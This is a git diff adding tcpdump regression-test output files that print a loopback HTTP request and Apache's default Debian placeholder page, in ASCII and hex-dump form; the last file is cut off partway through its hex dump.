+ETag: "6e80f0-148a-411eb1bd"
+Accept-Ranges: bytes
+Content-Length: 5258
+Keep-Alive: timeout=15, max=100
+Connection: Keep-Alive
+Content-Type: text/html; charset=iso-8859-1
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<HTML>
+<HEAD>
+   <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
+   <META NAME="Description" CONTENT="The initial installation of Debian apache.">
+   <TITLE>Placeholder page</TITLE>
+</HEAD>
+<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000EF" VLINK="#55188A" ALINK="#FF0000">
+
+<H1>Placeholder page</H1>
+<H2>If you are just browsing the web</h2>
+
+<P>The owner of this web site has not put up any web pages yet.
+Please come back later.</P>
+
+<P><SMALL><CITE>Move along, nothing to see here...</CITE> :-)</SMALL></P>
+
+<H2>If you are trying to locate the administrator of this machine</H2>
+
+<P>If you want to report something about this host's behavior, please
+contact the Internet Service Provider (ISP) involved directly.</P>
+
+<P>See the <A href="http://www.abuse.net/">Network Abuse
+Clearinghouse</A> for how to do this.</P>
+
+<H2>If you are the administrator of this machine</H2>
+
+<P>The initial installation of <A href="http://www.debian.org/">Debian's
+apache</A> web server package was successful.</P>
+
+<P><STRONG>You should replace this page with your own web pages as
+soon as possible.</STRONG></P>
+
+<P>Unless you changed its configuration, your new server is configured as follows:
+<UL>
+<LI>
+Configuration files can be found in <TT>/etc/apache</TT>.</LI>
+
+<LI>
+The <TT>DocumentRoot</TT>, which is the directory under which all your
+HTML files should exist, is set to <TT>/var/www</TT>.</LI>
+
+<LI>
+CGI scripts are looked for in <TT>/usr/lib/cgi-bin</TT>, which is where
+Debian packages will place their scripts.</LI>
+
+<LI>
+Log files are placed in <TT>/var/log/apache</TT>, and will be rotated
+weekly.  The frequency of rotation can be easily changed by editing
+<TT>/etc/logrotate.d/apache</TT>.</LI>
+
+<LI>
+The default directory index is <TT>index.html</TT>, meaning that requests
+for a directory <TT>/foo/bar/</TT> will give the contents of the file <TT>/var/www/foo/bar/index.html</TT>
+if it exists (assuming that <TT>/var/www</TT> is your <TT>DocumentRoot</TT>).</LI>
+
+<LI>
+User directories are enabled, and user documents will be looked for
+in the <TT>public_html</TT> directory of the users' homes.  These dirs
+should be under <TT>/home</TT>, and users will not be able to symlink
+to files they don't own.</LI>
+
+</UL>
+All the standard apache modules are available with this release and are
+now managed with debconf.  Type <TT>dpkg-reconfigure apache</TT> to
+select which modules you want enabled.  Many other modules are available
+through the Debian package system with the names <TT>libapache-mod-*</TT>.
+If you need to compile a module yourself, you will need to install the
+<TT>apache-dev</TT> package.
+
+<P>More documentation on Apache can be found on:
+<UL>
+<LI>
+The <A HREF="/doc/apache-doc/manual/">Apache documentation</A> stored on your server.</LI>
+
+<LI>
+The <A HREF="http://www.apache.org/">Apache Project</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apache-ssl.org/">Apache-SSL</A> home site.</LI>
+
+<LI>
+The <A HREF="http://perl.apache.org/">mod perl</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apacheweek.com/">ApacheWeek</A> newsletter.</LI>
+
+<LI>
+The <A HREF="http://www.debian.org/doc/">Debian Project
+Documentation</A> which contains HOWTOs, FAQs, and software updates.</LI>
+</UL>
+
+<P>You can also consult the list of <A HREF="http://www.boutell.com/faq/">World
+Wide Web Frequently Asked Questions</A> for information.
+
+<H2>Let other people know about this server</H2>
+
+<A HREF="http://netcraft.com/">Netcraft</A> provides an interesting free
+service for web site monitoring and statistic collection.
+You can let them know about your server using their
+<A HREF="http://uptime.netcraft.com/">interface</A>.
+Enabling the monitoring of your server will provide a better global overview
+of who is using what and where, and it would give Debian a better
+overview of the apache package usage.
+
+<H2>About this page</H2>
+
+<IMG ALIGN="right" ALT="" HEIGHT="247" WIDTH="278" SRC="icons/jhe061.png">
+
+<P>This is a placeholder page installed by the <A
+HREF="http://www.debian.org/">Debian</A>
+release of the apache Web server package.
+
+<P>This computer has installed the Debian GNU/Linux operating system,
+but it has <strong>nothing to do with the Debian
+Project</strong>. Please do <strong>not</strong> contact the Debian
+Project about it.</P>
+
+<P>If you find a bug in this apache package, or in Apache itself,
+please file a bug report on it.  Instructions on doing this, and the
+list of <A HREF="http://bugs.debian.org/src:apache">known bugs</A> of this
+package, can be found in the 
+<A HREF="http://www.debian.org/Bugs/Reporting">Debian Bug Tracking System</A>.
+
+<P>Thanks for using this package, and congratulations for your choice of
+a Debian system!</P>
+
+<DIV align="center">
+<a href="http://www.debian.org/">
+<IMG align="middle" height="30" width="25" src="icons/debian/openlogo-25.jpg" alt="Debian">
+</a>
+<a href="http://www.apache.org/">
+<IMG align="middle" height="32" width="259" src="icons/apache_pb.png" alt="Apache">
+</a>
+</DIV>
+
+<!--
+  This page was initially created by Johnie Ingram (http://netgod.net/)
+  It was later edited by Matthew Wilcox and Josip Rodin.
+  Last modified: $Date: 2004/06/20 15:33:57 $.
+  -->
+
+</BODY>
+</HTML>
+
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+E..4.n@.@.!T.........p.P7X.I7z....0_.......
+M...M...
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+E..4.p@.@.!R.........p.P7X.I7z....0_.......
+M..!M...
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+E..4..@.@............P.p7z..7X.J.. ..5.....
+M..#M..!
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+E..4.r@.@.!P.........p.P7X.J7z....0_.......
+M..#M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-AA.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-AA.new
new file mode 100644
index 0000000000000000000000000000000000000000..282087ee2835d6e1ba9da736e973869e1073d4cd
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-AA.new
@@ -0,0 +1,193 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+..............E..<.h@.@.!R.........p.P7X.~.........!....@....
+M...........
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+..............E..<..@.@.<..........P.p7z..7X......n.....@....
+M...M.......
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+..............E..4.j@.@.!X.........p.P7X..7z.... .7......
+M...M...
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+..............E....l@.@. ..........p.P7X..7z.... ........
+M...M...GET / HTTP/1.1
+Host: localhost
+User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+Accept: */*
+Accept-Encoding: gzip
+Accept-Language: en
+Connection: Keep-Alive
+
+
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+..............E..4..@.@............P.p7z..7X.I.. .7......
+M...M...
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+..............E.....@.@..%.........P.p7z..7X.I.. ........
+M...M...HTTP/1.1 200 OK
+Date: Wed, 06 Jul 2005 03:57:35 GMT
+Server: Apache/1.3.33
+Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+ETag: "6e80f0-148a-411eb1bd"
+Accept-Ranges: bytes
+Content-Length: 5258
+Keep-Alive: timeout=15, max=100
+Connection: Keep-Alive
+Content-Type: text/html; charset=iso-8859-1
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<HTML>
+<HEAD>
+   <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
+   <META NAME="Description" CONTENT="The initial installation of Debian apache.">
+   <TITLE>Placeholder page</TITLE>
+</HEAD>
+<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000EF" VLINK="#55188A" ALINK="#FF0000">
+
+<H1>Placeholder page</H1>
+<H2>If you are just browsing the web</h2>
+
+<P>The owner of this web site has not put up any web pages yet.
+Please come back later.</P>
+
+<P><SMALL><CITE>Move along, nothing to see here...</CITE> :-)</SMALL></P>
+
+<H2>If you are trying to locate the administrator of this machine</H2>
+
+<P>If you want to report something about this host's behavior, please
+contact the Internet Service Provider (ISP) involved directly.</P>
+
+<P>See the <A href="http://www.abuse.net/">Network Abuse
+Clearinghouse</A> for how to do this.</P>
+
+<H2>If you are the administrator of this machine</H2>
+
+<P>The initial installation of <A href="http://www.debian.org/">Debian's
+apache</A> web server package was successful.</P>
+
+<P><STRONG>You should replace this page with your own web pages as
+soon as possible.</STRONG></P>
+
+<P>Unless you changed its configuration, your new server is configured as follows:
+<UL>
+<LI>
+Configuration files can be found in <TT>/etc/apache</TT>.</LI>
+
+<LI>
+The <TT>DocumentRoot</TT>, which is the directory under which all your
+HTML files should exist, is set to <TT>/var/www</TT>.</LI>
+
+<LI>
+CGI scripts are looked for in <TT>/usr/lib/cgi-bin</TT>, which is where
+Debian packages will place their scripts.</LI>
+
+<LI>
+Log files are placed in <TT>/var/log/apache</TT>, and will be rotated
+weekly.  The frequency of rotation can be easily changed by editing
+<TT>/etc/logrotate.d/apache</TT>.</LI>
+
+<LI>
+The default directory index is <TT>index.html</TT>, meaning that requests
+for a directory <TT>/foo/bar/</TT> will give the contents of the file <TT>/var/www/foo/bar/index.html</TT>
+if it exists (assuming that <TT>/var/www</TT> is your <TT>DocumentRoot</TT>).</LI>
+
+<LI>
+User directories are enabled, and user documents will be looked for
+in the <TT>public_html</TT> directory of the users' homes.  These dirs
+should be under <TT>/home</TT>, and users will not be able to symlink
+to files they don't own.</LI>
+
+</UL>
+All the standard apache modules are available with this release and are
+now managed with debconf.  Type <TT>dpkg-reconfigure apache</TT> to
+select which modules you want enabled.  Many other modules are available
+through the Debian package system with the names <TT>libapache-mod-*</TT>.
+If you need to compile a module yourself, you will need to install the
+<TT>apache-dev</TT> package.
+
+<P>More documentation on Apache can be found on:
+<UL>
+<LI>
+The <A HREF="/doc/apache-doc/manual/">Apache documentation</A> stored on your server.</LI>
+
+<LI>
+The <A HREF="http://www.apache.org/">Apache Project</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apache-ssl.org/">Apache-SSL</A> home site.</LI>
+
+<LI>
+The <A HREF="http://perl.apache.org/">mod perl</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apacheweek.com/">ApacheWeek</A> newsletter.</LI>
+
+<LI>
+The <A HREF="http://www.debian.org/doc/">Debian Project
+Documentation</A> which contains HOWTOs, FAQs, and software updates.</LI>
+</UL>
+
+<P>You can also consult the list of <A HREF="http://www.boutell.com/faq/">World
+Wide Web Frequently Asked Questions</A> for information.
+
+<H2>Let other people know about this server</H2>
+
+<A HREF="http://netcraft.com/">Netcraft</A> provides an interesting free
+service for web site monitoring and statistic collection.
+You can let them know about your server using their
+<A HREF="http://uptime.netcraft.com/">interface</A>.
+Enabling the monitoring of your server will provide a better global overview
+of who is using what and where, and it would give Debian a better
+overview of the apache package usage.
+
+<H2>About this page</H2>
+
+<IMG ALIGN="right" ALT="" HEIGHT="247" WIDTH="278" SRC="icons/jhe061.png">
+
+<P>This is a placeholder page installed by the <A
+HREF="http://www.debian.org/">Debian</A>
+release of the apache Web server package.
+
+<P>This computer has installed the Debian GNU/Linux operating system,
+but it has <strong>nothing to do with the Debian
+Project</strong>. Please do <strong>not</strong> contact the Debian
+Project about it.</P>
+
+<P>If you find a bug in this apache package, or in Apache itself,
+please file a bug report on it.  Instructions on doing this, and the
+list of <A HREF="http://bugs.debian.org/src:apache">known bugs</A> of this
+package, can be found in the 
+<A HREF="http://www.debian.org/Bugs/Reporting">Debian Bug Tracking System</A>.
+
+<P>Thanks for using this package, and congratulations for your choice of
+a Debian system!</P>
+
+<DIV align="center">
+<a href="http://www.debian.org/">
+<IMG align="middle" height="30" width="25" src="icons/debian/openlogo-25.jpg" alt="Debian">
+</a>
+<a href="http://www.apache.org/">
+<IMG align="middle" height="32" width="259" src="icons/apache_pb.png" alt="Apache">
+</a>
+</DIV>
+
+<!--
+  This page was initially created by Johnie Ingram (http://netgod.net/)
+  It was later edited by Matthew Wilcox and Josip Rodin.
+  Last modified: $Date: 2004/06/20 15:33:57 $.
+  -->
+
+</BODY>
+</HTML>
+
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+..............E..4.n@.@.!T.........p.P7X.I7z....0_.......
+M...M...
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+..............E..4.p@.@.!R.........p.P7X.I7z....0_.......
+M..!M...
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+..............E..4..@.@............P.p7z..7X.J.. ..5.....
+M..#M..!
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+..............E..4.r@.@.!P.........p.P7X.J7z....0_.......
+M..#M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capX.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capX.new
new file mode 100644
index 0000000000000000000000000000000000000000..e0b30aff6293bb30734edd14f1026b32c3f75b67
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capX.new
@@ -0,0 +1,409 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  4500 003c 1b68 4000 4006 2152 7f00 0001  E..<.h@.@.!R....
+	0x0010:  7f00 0001 da70 0050 3758 897e 0000 0000  .....p.P7X.~....
+	0x0020:  a002 7fff 1421 0000 0204 400c 0402 080a  .....!....@.....
+	0x0030:  4ddc 9216 0000 0000 0103 0302            M...........
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  4500 003c 0000 4000 4006 3cba 7f00 0001  E..<..@.@.<.....
+	0x0010:  7f00 0001 0050 da70 377a 8df1 3758 897f  .....P.p7z..7X..
+	0x0020:  a012 7fff 6eb1 0000 0204 400c 0402 080a  ....n.....@.....
+	0x0030:  4ddc 9216 4ddc 9216 0103 0302            M...M.......
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  4500 0034 1b6a 4000 4006 2158 7f00 0001  E..4.j@.@.!X....
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2  .....p.P7X..7z..
+	0x0020:  8010 2000 37d0 0000 0101 080a 4ddc 9216  ....7.......M...
+	0x0030:  4ddc 9216                                M...
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  4500 00fe 1b6c 4000 4006 208c 7f00 0001  E....l@.@.......
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2  .....p.P7X..7z..
+	0x0020:  8018 2000 fef2 0000 0101 080a 4ddc 9217  ............M...
+	0x0030:  4ddc 9216 4745 5420 2f20 4854 5450 2f31  M...GET./.HTTP/1
+	0x0040:  2e31 0d0a 486f 7374 3a20 6c6f 6361 6c68  .1..Host:.localh
+	0x0050:  6f73 740d 0a55 7365 722d 4167 656e 743a  ost..User-Agent:
+	0x0060:  2045 4c69 6e6b 732f 302e 3130 2e34 2d37  .ELinks/0.10.4-7
+	0x0070:  2d64 6562 6961 6e20 2874 6578 746d 6f64  -debian.(textmod
+	0x0080:  653b 204c 696e 7578 2032 2e36 2e31 312d  e;.Linux.2.6.11-
+	0x0090:  312d 3638 362d 736d 7020 6936 3836 3b20  1-686-smp.i686;.
+	0x00a0:  3133 3278 3536 2d32 290d 0a41 6363 6570  132x56-2)..Accep
+	0x00b0:  743a 202a 2f2a 0d0a 4163 6365 7074 2d45  t:.*/*..Accept-E
+	0x00c0:  6e63 6f64 696e 673a 2067 7a69 700d 0a41  ncoding:.gzip..A
+	0x00d0:  6363 6570 742d 4c61 6e67 7561 6765 3a20  ccept-Language:.
+	0x00e0:  656e 0d0a 436f 6e6e 6563 7469 6f6e 3a20  en..Connection:.
+	0x00f0:  4b65 6570 2d41 6c69 7665 0d0a 0d0a       Keep-Alive....
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  4500 0034 1fe4 4000 4006 1cde 7f00 0001  E..4..@.@.......
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49  .....P.p7z..7X.I
+	0x0020:  8010 2000 3703 0000 0101 080a 4ddc 9218  ....7.......M...
+	0x0030:  4ddc 9217                                M...
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  4500 15eb 1fe6 4000 4006 0725 7f00 0001  E.....@.@..%....
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49  .....P.p7z..7X.I
+	0x0020:  8018 2000 13e0 0000 0101 080a 4ddc 9219  ............M...
+	0x0030:  4ddc 9217 4854 5450 2f31 2e31 2032 3030  M...HTTP/1.1.200
+	0x0040:  204f 4b0d 0a44 6174 653a 2057 6564 2c20  .OK..Date:.Wed,.
+	0x0050:  3036 204a 756c 2032 3030 3520 3033 3a35  06.Jul.2005.03:5
+	0x0060:  373a 3335 2047 4d54 0d0a 5365 7276 6572  7:35.GMT..Server
+	0x0070:  3a20 4170 6163 6865 2f31 2e33 2e33 330d  :.Apache/1.3.33.
+	0x0080:  0a4c 6173 742d 4d6f 6469 6669 6564 3a20  .Last-Modified:.
+	0x0090:  5375 6e2c 2031 3520 4175 6720 3230 3034  Sun,.15.Aug.2004
+	0x00a0:  2030 303a 3433 3a34 3120 474d 540d 0a45  .00:43:41.GMT..E
+	0x00b0:  5461 673a 2022 3665 3830 6630 2d31 3438  Tag:."6e80f0-148
+	0x00c0:  612d 3431 3165 6231 6264 220d 0a41 6363  a-411eb1bd"..Acc
+	0x00d0:  6570 742d 5261 6e67 6573 3a20 6279 7465  ept-Ranges:.byte
+	0x00e0:  730d 0a43 6f6e 7465 6e74 2d4c 656e 6774  s..Content-Lengt
+	0x00f0:  683a 2035 3235 380d 0a4b 6565 702d 416c  h:.5258..Keep-Al
+	0x0100:  6976 653a 2074 696d 656f 7574 3d31 352c  ive:.timeout=15,
+	0x0110:  206d 6178 3d31 3030 0d0a 436f 6e6e 6563  .max=100..Connec
+	0x0120:  7469 6f6e 3a20 4b65 6570 2d41 6c69 7665  tion:.Keep-Alive
+	0x0130:  0d0a 436f 6e74 656e 742d 5479 7065 3a20  ..Content-Type:.
+	0x0140:  7465 7874 2f68 746d 6c3b 2063 6861 7273  text/html;.chars
+	0x0150:  6574 3d69 736f 2d38 3835 392d 310d 0a0d  et=iso-8859-1...
+	0x0160:  0a3c 2144 4f43 5459 5045 2048 544d 4c20  .<!DOCTYPE.HTML.
+	0x0170:  5055 424c 4943 2022 2d2f 2f57 3343 2f2f  PUBLIC."-//W3C//
+	0x0180:  4454 4420 4854 4d4c 2034 2e30 3120 5472  DTD.HTML.4.01.Tr
+	0x0190:  616e 7369 7469 6f6e 616c 2f2f 454e 223e  ansitional//EN">
+	0x01a0:  0a3c 4854 4d4c 3e0a 3c48 4541 443e 0a20  .<HTML>.<HEAD>..
+	0x01b0:  2020 3c4d 4554 4120 4854 5450 2d45 5155  ..<META.HTTP-EQU
+	0x01c0:  4956 3d22 436f 6e74 656e 742d 5479 7065  IV="Content-Type
+	0x01d0:  2220 434f 4e54 454e 543d 2274 6578 742f  ".CONTENT="text/
+	0x01e0:  6874 6d6c 3b20 6368 6172 7365 743d 6973  html;.charset=is
+	0x01f0:  6f2d 3838 3539 2d31 223e 0a20 2020 3c4d  o-8859-1">....<M
+	0x0200:  4554 4120 4e41 4d45 3d22 4465 7363 7269  ETA.NAME="Descri
+	0x0210:  7074 696f 6e22 2043 4f4e 5445 4e54 3d22  ption".CONTENT="
+	0x0220:  5468 6520 696e 6974 6961 6c20 696e 7374  The.initial.inst
+	0x0230:  616c 6c61 7469 6f6e 206f 6620 4465 6269  allation.of.Debi
+	0x0240:  616e 2061 7061 6368 652e 223e 0a20 2020  an.apache.">....
+	0x0250:  3c54 4954 4c45 3e50 6c61 6365 686f 6c64  <TITLE>Placehold
+	0x0260:  6572 2070 6167 653c 2f54 4954 4c45 3e0a  er.page</TITLE>.
+	0x0270:  3c2f 4845 4144 3e0a 3c42 4f44 5920 5445  </HEAD>.<BODY.TE
+	0x0280:  5854 3d22 2330 3030 3030 3022 2042 4743  XT="#000000".BGC
+	0x0290:  4f4c 4f52 3d22 2346 4646 4646 4622 204c  OLOR="#FFFFFF".L
+	0x02a0:  494e 4b3d 2223 3030 3030 4546 2220 564c  INK="#0000EF".VL
+	0x02b0:  494e 4b3d 2223 3535 3138 3841 2220 414c  INK="#55188A".AL
+	0x02c0:  494e 4b3d 2223 4646 3030 3030 223e 0a0a  INK="#FF0000">..
+	0x02d0:  3c48 313e 506c 6163 6568 6f6c 6465 7220  <H1>Placeholder.
+	0x02e0:  7061 6765 3c2f 4831 3e0a 3c48 323e 4966  page</H1>.<H2>If
+	0x02f0:  2079 6f75 2061 7265 206a 7573 7420 6272  .you.are.just.br
+	0x0300:  6f77 7369 6e67 2074 6865 2077 6562 3c2f  owsing.the.web</
+	0x0310:  6832 3e0a 0a3c 503e 5468 6520 6f77 6e65  h2>..<P>The.owne
+	0x0320:  7220 6f66 2074 6869 7320 7765 6220 7369  r.of.this.web.si
+	0x0330:  7465 2068 6173 206e 6f74 2070 7574 2075  te.has.not.put.u
+	0x0340:  7020 616e 7920 7765 6220 7061 6765 7320  p.any.web.pages.
+	0x0350:  7965 742e 0a50 6c65 6173 6520 636f 6d65  yet..Please.come
+	0x0360:  2062 6163 6b20 6c61 7465 722e 3c2f 503e  .back.later.</P>
+	0x0370:  0a0a 3c50 3e3c 534d 414c 4c3e 3c43 4954  ..<P><SMALL><CIT
+	0x0380:  453e 4d6f 7665 2061 6c6f 6e67 2c20 6e6f  E>Move.along,.no
+	0x0390:  7468 696e 6720 746f 2073 6565 2068 6572  thing.to.see.her
+	0x03a0:  652e 2e2e 3c2f 4349 5445 3e20 3a2d 293c  e...</CITE>.:-)<
+	0x03b0:  2f53 4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832  /SMALL></P>..<H2
+	0x03c0:  3e49 6620 796f 7520 6172 6520 7472 7969  >If.you.are.tryi
+	0x03d0:  6e67 2074 6f20 6c6f 6361 7465 2074 6865  ng.to.locate.the
+	0x03e0:  2061 646d 696e 6973 7472 6174 6f72 206f  .administrator.o
+	0x03f0:  6620 7468 6973 206d 6163 6869 6e65 3c2f  f.this.machine</
+	0x0400:  4832 3e0a 0a3c 503e 4966 2079 6f75 2077  H2>..<P>If.you.w
+	0x0410:  616e 7420 746f 2072 6570 6f72 7420 736f  ant.to.report.so
+	0x0420:  6d65 7468 696e 6720 6162 6f75 7420 7468  mething.about.th
+	0x0430:  6973 2068 6f73 7427 7320 6265 6861 7669  is.host's.behavi
+	0x0440:  6f72 2c20 706c 6561 7365 0a63 6f6e 7461  or,.please.conta
+	0x0450:  6374 2074 6865 2049 6e74 6572 6e65 7420  ct.the.Internet.
+	0x0460:  5365 7276 6963 6520 5072 6f76 6964 6572  Service.Provider
+	0x0470:  2028 4953 5029 2069 6e76 6f6c 7665 6420  .(ISP).involved.
+	0x0480:  6469 7265 6374 6c79 2e3c 2f50 3e0a 0a3c  directly.</P>..<
+	0x0490:  503e 5365 6520 7468 6520 3c41 2068 7265  P>See.the.<A.hre
+	0x04a0:  663d 2268 7474 703a 2f2f 7777 772e 6162  f="http://www.ab
+	0x04b0:  7573 652e 6e65 742f 223e 4e65 7477 6f72  use.net/">Networ
+	0x04c0:  6b20 4162 7573 650a 436c 6561 7269 6e67  k.Abuse.Clearing
+	0x04d0:  686f 7573 653c 2f41 3e20 666f 7220 686f  house</A>.for.ho
+	0x04e0:  7720 746f 2064 6f20 7468 6973 2e3c 2f50  w.to.do.this.</P
+	0x04f0:  3e0a 0a3c 4832 3e49 6620 796f 7520 6172  >..<H2>If.you.ar
+	0x0500:  6520 7468 6520 6164 6d69 6e69 7374 7261  e.the.administra
+	0x0510:  746f 7220 6f66 2074 6869 7320 6d61 6368  tor.of.this.mach
+	0x0520:  696e 653c 2f48 323e 0a0a 3c50 3e54 6865  ine</H2>..<P>The
+	0x0530:  2069 6e69 7469 616c 2069 6e73 7461 6c6c  .initial.install
+	0x0540:  6174 696f 6e20 6f66 203c 4120 6872 6566  ation.of.<A.href
+	0x0550:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562  ="http://www.deb
+	0x0560:  6961 6e2e 6f72 672f 223e 4465 6269 616e  ian.org/">Debian
+	0x0570:  2773 0a61 7061 6368 653c 2f41 3e20 7765  's.apache</A>.we
+	0x0580:  6220 7365 7276 6572 2070 6163 6b61 6765  b.server.package
+	0x0590:  2077 6173 2073 7563 6365 7373 6675 6c2e  .was.successful.
+	0x05a0:  3c2f 503e 0a0a 3c50 3e3c 5354 524f 4e47  </P>..<P><STRONG
+	0x05b0:  3e59 6f75 2073 686f 756c 6420 7265 706c  >You.should.repl
+	0x05c0:  6163 6520 7468 6973 2070 6167 6520 7769  ace.this.page.wi
+	0x05d0:  7468 2079 6f75 7220 6f77 6e20 7765 6220  th.your.own.web.
+	0x05e0:  7061 6765 7320 6173 0a73 6f6f 6e20 6173  pages.as.soon.as
+	0x05f0:  2070 6f73 7369 626c 652e 3c2f 5354 524f  .possible.</STRO
+	0x0600:  4e47 3e3c 2f50 3e0a 0a3c 503e 556e 6c65  NG></P>..<P>Unle
+	0x0610:  7373 2079 6f75 2063 6861 6e67 6564 2069  ss.you.changed.i
+	0x0620:  7473 2063 6f6e 6669 6775 7261 7469 6f6e  ts.configuration
+	0x0630:  2c20 796f 7572 206e 6577 2073 6572 7665  ,.your.new.serve
+	0x0640:  7220 6973 2063 6f6e 6669 6775 7265 6420  r.is.configured.
+	0x0650:  6173 2066 6f6c 6c6f 7773 3a0a 3c55 4c3e  as.follows:.<UL>
+	0x0660:  0a3c 4c49 3e0a 436f 6e66 6967 7572 6174  .<LI>.Configurat
+	0x0670:  696f 6e20 6669 6c65 7320 6361 6e20 6265  ion.files.can.be
+	0x0680:  2066 6f75 6e64 2069 6e20 3c54 543e 2f65  .found.in.<TT>/e
+	0x0690:  7463 2f61 7061 6368 653c 2f54 543e 2e3c  tc/apache</TT>.<
+	0x06a0:  2f4c 493e 0a0a 3c4c 493e 0a54 6865 203c  /LI>..<LI>.The.<
+	0x06b0:  5454 3e44 6f63 756d 656e 7452 6f6f 743c  TT>DocumentRoot<
+	0x06c0:  2f54 543e 2c20 7768 6963 6820 6973 2074  /TT>,.which.is.t
+	0x06d0:  6865 2064 6972 6563 746f 7279 2075 6e64  he.directory.und
+	0x06e0:  6572 2077 6869 6368 2061 6c6c 2079 6f75  er.which.all.you
+	0x06f0:  720a 4854 4d4c 2066 696c 6573 2073 686f  r.HTML.files.sho
+	0x0700:  756c 6420 6578 6973 742c 2069 7320 7365  uld.exist,.is.se
+	0x0710:  7420 746f 203c 5454 3e2f 7661 722f 7777  t.to.<TT>/var/ww
+	0x0720:  773c 2f54 543e 2e3c 2f4c 493e 0a0a 3c4c  w</TT>.</LI>..<L
+	0x0730:  493e 0a43 4749 2073 6372 6970 7473 2061  I>.CGI.scripts.a
+	0x0740:  7265 206c 6f6f 6b65 6420 666f 7220 696e  re.looked.for.in
+	0x0750:  203c 5454 3e2f 7573 722f 6c69 622f 6367  .<TT>/usr/lib/cg
+	0x0760:  692d 6269 6e3c 2f54 543e 2c20 7768 6963  i-bin</TT>,.whic
+	0x0770:  6820 6973 2077 6865 7265 0a44 6562 6961  h.is.where.Debia
+	0x0780:  6e20 7061 636b 6167 6573 2077 696c 6c20  n.packages.will.
